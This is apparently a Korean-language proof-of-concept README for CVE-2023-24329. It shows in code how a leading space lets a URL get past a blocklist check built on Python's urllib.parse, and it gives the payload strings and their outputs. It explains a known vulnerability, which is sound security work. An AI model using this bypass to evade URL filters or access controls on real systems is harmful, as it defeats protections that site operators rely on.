
Python의 urllib.parse에서 URL 파싱 우회(CVE-2023-24329)를 시연하는 개념 증명으로, 공백을 앞에 추가하여 차단 목록을 우회할 수 있게 해줍니다.
URL 파싱 함수는 URL 문자열을 구성 요소로 분할하거나 URL 구성 요소를 URL 문자열로 결합하는 데 초점을 맞춥니다.
간단히 URL을 파싱하는 데 사용되는 urllib.parse는 URL 앞에 공백을 추가하여 우회할 수 있습니다. 이는 Python 3.11.4 및 이전 버전에서 발생합니다.
example.py를 분석해 보겠습니다.
다음은 접근해서는 안 되는 웹사이트 목록입니다:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
이 함수는 웹사이트가 차단 목록에 있는지 확인하며, 차단 목록에 있으면 URL Blocked를 반환해야 합니다.
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
이제 두 개의 URL을 추가하고 둘 중 하나가 차단되어 접근할 수 없는지 확인합니다:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1은 is_url_blocked()를 우회한 경우입니다. URL 앞에 긴 공백을 추가하면 urllib.parse.urlparse(url).geturl()이 우회되어 예상대로 실행되지 않기 때문입니다.
그래서 출력은 다음과 같습니다.
Bypassed
하지만 payload2에서는 다음과 같은 결과를 얻습니다.
URL Blocked
기부로 저를 지원하고 싶다면, 정말 필요한 누군가에게 기부해 주시길 권장합니다. 그렇게 하신다면 저는 여러분의 지원을 받았다고 생각하겠습니다.